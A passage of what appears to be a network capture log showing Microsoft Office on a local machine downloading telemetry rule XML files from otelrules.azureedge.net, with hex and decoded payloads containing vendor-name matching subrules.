T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:28 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:28 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 01fc617d-601e-000d-05a4-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174228Z-16849878b786jv8w2kpaf5zkqs00000005pg00000000stnd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:28 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:28 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:28 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5e4053db-f01e-0052-6472-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174228Z-16849878b78smng4k6nq15r6s400000008eg000000003uds x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:28 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:28 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:29 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 6856914c-401e-0029-0667-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174229Z-16849878b78p49s6zkwt11bbkn00000006c000000000zdz2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:29 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:29 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:29 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 5e2f3c3f-901e-0048-1b49-28b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174229Z-17c5cb586f6wmhkn5q6fu8c5ss000000067000000000bddy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:29 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:29 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:29 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 0ce3105a-501e-0029-7cd2-26d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174229Z-16849878b78hh85qc40uyr8sc8000000070000000000zuz1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:29 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:29 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:29 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 16672fc1-b01e-0001-32e8-2846e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174229Z-r197bdfb6b4mcssrk8cfa4gm1g00000000p0000000002aen x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 17:42:29 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:29 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:29 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 44f017bc-601e-000d-6df3-242618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174229Z-15b8d89586fdmfsg1u7xrpfws00000000b5g000000004mep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:29 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:29 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:29 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 2b9d96d3-301e-0020-4e31-276299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174229Z-15b8d89586fqj7k5h9gbd8vs9800000007z000000000cxp2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:30 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:29 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:29 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 99f07890-301e-0051-29d2-2538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174229Z-16849878b787bfsh7zgp804my400000005ng00000000em2s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:30 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:29 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:30 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 84cbfce0-201e-0071-26f6-26ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174230Z-r197bdfb6b466qclztvgs64z1000000008f000000000c24c x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:30 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:29 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:30 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 447b9191-101e-0017-54f0-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174230Z-17c5cb586f66g7mvgrudxte95400000001t000000000g29e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:30 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:30 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 17:42:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:30 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 809859d7-601e-00ab-6828-2666f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T174230Z-17c5cb586f64v7xsc2ahm8gsgw00000001vg000000007bpw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 17:42:30 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 